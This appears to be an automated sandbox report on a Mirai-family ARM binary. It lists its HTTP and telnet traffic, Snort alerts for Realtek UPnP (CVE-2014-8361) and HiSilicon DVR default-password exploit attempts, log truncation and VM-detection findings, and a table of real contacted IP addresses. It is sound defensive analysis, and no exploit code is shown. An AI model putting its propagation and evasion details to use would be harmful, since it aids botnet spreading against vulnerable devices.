Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 59190
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56526
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56542
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56554
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56570
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56582
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56594
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56612
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56622
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56628
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869

Malware Analysis System Evasion:

Deletes security-related log files

Source: /usr/bin/rm (PID: 5268)

Truncated file: /var/log/wtmp

Jump to behavior

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pkill (PID: 5284)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5289)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5403)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5446)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5568)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/arm7 (PID: 5234)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/whoopsie (PID: 5355)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5403)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5428)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5550)	Queries kernel information via 'uname':	Jump to behavior

Deletes log files

Source: /usr/bin/rm (PID: 5268)	Truncated file: /var/log/wtmp	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5428)	Truncated file: /var/log/gpu-manager.log	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5550)	Truncated file: /var/log/gpu-manager.log	Jump to behavior

Source: arm7, 5249.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: !/proc/1594/exe0!/usr/bin/vmtoolsd1P
Source: arm7, 5249.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: arm7, 5234.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7, 5234.1.000000002e60d099.00000000e478edd3.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm7, 5234.1.0000000033ce1296.00000000702d846d.rw-.sdmp	Binary or memory string: +V!/etc/qemu-binfmt/arm
Source: arm7, 5234.1.000000002e60d099.00000000e478edd3.rw-.sdmp	Binary or memory string: G{x86_64/usr/bin/qemu-arm/tmp/arm7SUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7

Stealing of Sensitive Information:

Yara detected Mirai

Source: Yara match	File source: 5241.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5249.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5236.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5237.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5245.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5251.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5253.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5239.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5240.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality:

Yara detected Mirai

Source: Yara match	File source: 5241.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5234.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5249.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5236.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5237.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5245.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5251.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5253.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5239.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5240.1.00000000f6abff04.000000008642ee32.r-x.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
158.66.163.62	unknown	Poland	21111	CISGCentrumInformacjiSpoleczno-GospodarczejPL	false
208.203.38.141	unknown	United States	701	UUNETUS	false
197.129.211.53	unknown	Morocco	6713	IAM-ASMA	false
132.79.51.81	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
41.108.48.184	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.141.254.118	unknown	United States	29975	VODACOM-ZA	false
156.66.10.209	unknown	United States	29975	VODACOM-ZA	false
144.254.84.93	unknown	United States	109	CISCOSYSTEMSUS	false
156.204.60.88	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.196.170.157	unknown	Egypt	8452	TE-ASTE-ASEG	false
149.184.4.248	unknown	United Kingdom	87	INDIANA-ASUS	false
197.242.86.249	unknown	South Africa	24940	HETZNER-ASDE	false
135.244.53.66	unknown	United States	10455	LUCENT-CIOUS	false
14.105.136.130	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.161.229.80	unknown	Egypt	36992	ETISALAT-MISREG	false
197.237.113.182	unknown	Kenya	15399	WANANCHI-KE	false
197.166.142.82	unknown	Egypt	24863	LINKdotNET-ASEG	false
200.247.239.150	unknown	Brazil	4230	CLAROSABR	false
27.104.108.185	unknown	Singapore	4773	MOBILEONELTD-AS-APMobileOneLtdMobileInternetServicePr	false
197.172.142.211	unknown	South Africa	37168	CELL-CZA	false
38.21.161.24	unknown	United States	11738	BLIP-NETWORKSUS	false
41.122.114.233	unknown	South Africa	16637	MTNNS-ASZA	false
197.116.147.49	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.214.230.5	unknown	Morocco	36925	ASMediMA	false
197.60.6.64	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.251.253.116	unknown	Morocco	36903	MT-MPLSMA	false
155.226.30.158	unknown	United States	8698	NationwideBuildingSocietyGB	false
173.91.159.60	unknown	United States	10796	TWC-10796-MIDWESTUS	false
197.17.114.182	unknown	Tunisia	37693	TUNISIANATN	false
140.216.201.207	unknown	United States	22284	AS22284-DOI-OPSUS	false
45.227.105.139	unknown	Brazil	267019	AHPROVEDORTELECOMBR	false
197.213.165.228	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
197.149.160.154	unknown	South Africa	37438	GijimaZA	false
93.160.27.78	unknown	Denmark	3292	TDCTDCASDK	false
167.227.226.7	unknown	Canada	2675	CDAGOVNCA	false
38.14.196.18	unknown	United States	174	COGENT-174US	false
41.187.159.138	unknown	Egypt	20928	NOOR-ASEG	false
41.129.114.58	unknown	Egypt	24863	LINKdotNET-ASEG	false
36.97.133.30	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.76.191.241	unknown	Kenya	37225	NETWIDEZA	false
140.59.197.89	unknown	United States	668	DNIC-AS-00668US	false
197.102.233.98	unknown	South Africa	3741	ISZA	false
75.32.71.176	unknown	United States	7018	ATT-INTERNET4US	false
196.206.229.112	unknown	Morocco	36903	MT-MPLSMA	false
128.113.78.27	unknown	United States	91	RPI-ASUS	false
157.74.76.29	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
156.124.100.151	unknown	United States	393504	XNSTGCA	false
5.232.36.131	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
156.111.212.186	unknown	United States	395139	NYP-INTERNETUS	false
156.2.12.217	unknown	United States	29975	VODACOM-ZA	false
198.193.143.103	unknown	United States	292	ESNET-WESTUS	false
197.60.132.79	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.240.45.199	unknown	unknown	37705	TOPNETTN	false
41.102.136.72	unknown	Algeria	36947	ALGTEL-ASDZ	false
138.146.210.40	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
45.93.168.231	unknown	Iran (ISLAMIC Republic Of)	57497	FARASOSAMANEHPASARGADIR	false
156.162.60.202	unknown	Egypt	36992	ETISALAT-MISREG	false
197.109.134.76	unknown	South Africa	37168	CELL-CZA	false
197.166.142.62	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.129.114.69	unknown	Egypt	24863	LINKdotNET-ASEG	false
184.84.103.68	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
41.116.238.207	unknown	South Africa	16637	MTNNS-ASZA	false
132.211.159.50	unknown	Canada	376	RISQ-ASCA	false
116.173.158.98	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
124.30.220.249	unknown	India	9583	SIFY-AS-INSifyLimitedIN	false
41.45.223.104	unknown	Egypt	8452	TE-ASTE-ASEG	false
75.140.122.137	unknown	United States	20115	CHARTER-20115US	false
156.254.22.239	unknown	Seychelles	394281	XHOSTSERVERUS	false
173.134.171.246	unknown	United States	10507	SPCSUS	false
197.233.228.76	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
24.55.145.209	unknown	United States	3737	AS-PTDUS	false
9.78.182.57	unknown	United States	3356	LEVEL3US	false
158.214.11.66	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
156.145.214.10	unknown	United States	395139	NYP-INTERNETUS	false
108.195.224.187	unknown	United States	7018	ATT-INTERNET4US	false
197.177.27.84	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.121.74.189	unknown	Egypt	36992	ETISALAT-MISREG	false
177.235.47.208	unknown	Brazil	28573	CLAROSABR	false
167.217.255.66	unknown	United States	6461	ZAYO-6461US	false
53.4.254.107	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
190.132.225.189	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
94.35.200.63	unknown	Italy	8612	TISCALI-IT	false
197.250.1.124	unknown	Tanzania United Republic of	36908	VTL-ASNTZ	false
41.172.44.196	unknown	South Africa	36937	Neotel-ASZA	false
131.200.65.107	unknown	United States	14348	URI-ASUS	false
185.239.188.96	unknown	United Kingdom	205842	LINKWEBSOLUTIONSGB	false
177.129.86.241	unknown	Brazil	262393	AALVESGOMESINFORMATICA-MEBR	false
208.174.110.105	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
106.141.201.52	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
197.43.51.188	unknown	Egypt	8452	TE-ASTE-ASEG	false
159.42.98.107	unknown	United States	25019	SAUDINETSTC-ASSA	false
41.122.162.197	unknown	South Africa	16637	MTNNS-ASZA	false
124.50.156.109	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
81.172.40.105	unknown	Spain	12430	VODAFONE_ESES	false
64.4.89.121	unknown	Canada	7122	MTS-ASNCA	false
200.94.201.186	unknown	Mexico	6503	AxtelSABdeCVMX	false
36.219.124.155	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
129.7.152.93	unknown	United States	7276	UNIVERSITY-OF-HOUSTONUS	false
180.31.13.118	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
156.76.237.26	unknown	United States	6341	WIECUS	false

Contacted Domains

Name	IP	Active
daisy.ubuntu.com	162.213.33.108	true

AV Detection:

Multi AV Scanner detection for submitted file

Source: arm7

ReversingLabs: Detection: 22%

Bitcoin Miner:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pkill (PID: 5284)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5289)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5294)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5403)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5446)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5568)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:53370
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 65.61.91.118:23 -> 192.168.2.23:56886
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 65.61.91.118:23 -> 192.168.2.23:56886
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:49798
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:49798
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:50074
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:50074
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50996 -> 156.224.178.167:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41418 -> 156.224.165.13:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52732
Source: Traffic	Snort IDS: 2027973 ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound 192.168.2.23:57200 -> 203.251.92.20:23
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52756
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:58178 -> 156.247.29.227:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.20.222.131:23 -> 192.168.2.23:36414
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.20.222.131:23 -> 192.168.2.23:36414
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52794
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52834
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:33754 -> 156.238.44.215:52869
Source: Traffic	Snort IDS: 404 ICMP Destination Unreachable Protocol Unreachable 217.78.28.18: -> 192.168.2.23:
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52860
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52882
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:53864
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52926
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52970
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:52990
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:53864
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:38986
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53030
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:50264
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:50264
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53060
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:37176
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:37176
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53076
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53098
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54094
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:38986
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53172
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 65.61.91.118:23 -> 192.168.2.23:57594
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 65.61.91.118:23 -> 192.168.2.23:57594
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:36956
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53198
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54094
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53220
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39202
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53254
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53284
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53304
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37122
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53322
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54306
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50834 -> 156.224.169.192:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:48656 -> 156.224.166.208:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39202
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53354
Source: Traffic	Snort IDS: 716 INFO TELNET access 47.242.189.91:23 -> 192.168.2.23:41110
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53372
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:37500
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:37500
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54306
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53394
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 47.242.189.91:23 -> 192.168.2.23:41110
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:52616
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:52616
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39368
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53410
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:55330 -> 156.241.13.128:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53426
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:56096 -> 156.226.12.36:52869
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53448
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:50788
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:50788
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37268
